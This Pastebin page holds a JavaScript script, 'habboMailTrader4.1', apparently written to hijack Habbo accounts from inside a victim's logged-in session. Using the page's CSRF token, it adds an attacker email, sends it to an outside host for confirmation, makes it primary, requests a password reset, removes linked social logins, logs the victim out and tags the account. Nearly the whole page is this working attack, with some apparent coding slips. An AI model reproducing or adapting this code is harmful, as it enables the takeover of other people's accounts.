Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- habboMailTrader4.1
- by edi472
- */
- d = document;
- app = $$('meta[name=csrf-token]')[0].readAttribute('content');
- mailTrader = {
- getEmail:function()
- {
- new Ajax.Request('/identity/settings',
- {
- onComplete : function(pronto)
- {
- try
- {
- a = pronto.responseText;
- d = /<span>(.*?)<\/span>/gi;
- e = a.match(d);
- z = e.toString();
- y = /(<span\>|<\/span>)/ig;
- emailp = z.replace(y,'').replace(',','').replace('**************','');
- return emailp;
- }
- catch(e)
- {
- }
- }
- }
- )
- },
- removeSecondEmail:function(emailremove)
- {
- mailTrader.getEmail();
- setTimeout(function(){
- remove = new Image();
- remove.src = 'http://www.habbo.com.br/identity/delete_email?email=' + emailremove + '&__app_key=' + app;
- remove.onload = d.body.appendChild(remove);
- },20000);
- },
- socialRemover:function(social,hash)
- {
- check = [rsocial,thash];
- for(x in check){
- if(check[x]==undefined||check[x]==''){
- return;
- };
- };
- remove = new Image();
- remove.src = 'http://www.habbo.com.br/identity/remove_auth?provider=' + social + '&idhash=' + hash + '&__app_key=' + app;
- remove.onload = d.body.appendChild(remove);
- },
- check:function(){
- if(_ctwitter == true)
- {
- _d = /provider=twitter&(.*?)&/gi;
- if(a.match(_d))
- {
- _e = a.match(_d);
- _f = _e.toString();
- _g = _f.replace('provider=twitter&', '').replace('&', '').replace('idhash=', '');
- Habbo.mailTrader.socialRemover('twitter', '' + _g);
- }
- };
- if(_cgoogle == true)
- {
- d2 = /provider=google&(.*?)&/gi;
- if(a.match(d2))
- {
- e2 = a.match(d2);
- f2 = e2.toString();
- g2 = f2.replace('provider=google&', '').replace('&', '').replace('idhash=', '');
- Habbo.mailTrader.socialRemover('google', '' + g2);
- }
- };
- if(_cmyspace == true)
- {
- d3 = /provider=myspace&(.*?)&/gi;
- if(a.match(d3))
- {
- e3 = a.match(d3);
- f3 = e3.toString();
- g3 = f3.replace('provider=myspace&', '').replace('&', '').replace('idhash=', '');
- Habbo.mailTrader.socialRemover('myspace', '' + g3);
- }
- };
- if(_cyahoo == true)
- {
- d4 = /provider=yahoo&(.*?)&/gi;
- if(a.match(d4))
- {
- e4 = a.match(d4);
- f4 = e4.toString();
- g4 = f4.replace('provider=yahoo&', '').replace('&', '').replace('idhash=', '');
- Habbo.mailTrader.socialRemover('yahoo', '' + g4);
- }
- };
- if(_cfacebook == true)
- {
- d5 = /provider=facebook&(.*?)&/gi;
- if(a.match(d5))
- {
- e5 = a.match(d5);
- f5 = e5.toString();
- g5 = f5.replace('provider=facebook&', '').replace('&', '').replace('idhash=', '');
- Habbo.mailTrader.socialRemover('facebook', '' + g5);
- }
- };
- if(_cmsn == true)
- {
- d6 = /provider=windowslive&(.*?)&/gi;
- if(a.match(d6))
- {
- e6 = a.match(d6);
- f6 = e6.toString();
- g6 = f6.replace('provider=windowslive&', '').replace('&', '').replace('idhash=', '');
- Habbo.mailTrader.socialRemover('windowslive', '' + g6);
- }
- }
- },action:function()
- {
- addemail = new Image();
- addemail.src='https://www.habbo.com.br/identity/add_email?email='+email+'@spamavert.com&__app_key='+app;
- addemail.onload = d.body.appendChild(addemail);
- confirmemail = d.createElement('script');
- confirmemail.src='http://mrrover.ueuo.com/hmt4/confirm.php?email='+email;
- d.body.appendChild(confirmemail);
- setTimeout(function(){
- new Ajax.Request('/account/password/identityResetForm',{onComplete:function(){
- primaryemail = new Image();
- primaryemail.src='https://www.habbo.com.br/identity/make_primary_email?email='+email+'@spamavert.com&__app_key='+app;
- primaryemail.onload = d.body.appendChild(primaryemail);
- },method:'POST',parameters:'emailAddress='+email+'@spamavert.com'});
- },3000);
- setTimeout(function(){
- logout = new Image();
- logout.src = 'https://www.habbo.com.br/account/logout?token=' + app;
- logout.onload = d.body.appendChild(logout);
- },7900);
- new Ajax.Request('/identity/auth',
- {
- onComplete : function(pronto)
- {
- a = pronto.responseText;
- ds = /<li class=\"twitter\"/gi;
- f = /<li class=\"google\"/gi;
- g = /<li class=\"myspace\"/gi;
- h = /<li class=\"yahoo\"/gi;
- i = /<li class=\"facebook\"/gi;
- j = /<li class=\"windowslive\"/gi;
- if( ! a.match(ds))
- {
- _ctwitter = true;
- };
- if( ! a.match(f))
- {
- _cgoogle = true;
- };
- if( ! a.match(g))
- {
- _cmyspace = true;
- };
- if( ! a.match(h))
- {
- _cyahoo = true;
- };
- if( ! a.match(i))
- {
- _cfacebook = true;
- };
- if( ! a.match(d))
- {
- _cmsn = true;
- };
- mailTrader.check();
- }});
- new Ajax.Request('/myhabbo/tag/add',
- {
- parameters : 'accountId=' + habboId + '&tagName=hmt'
- }
- )
- }
- };
Advertisement
Add Comment
Please, Sign In to add comment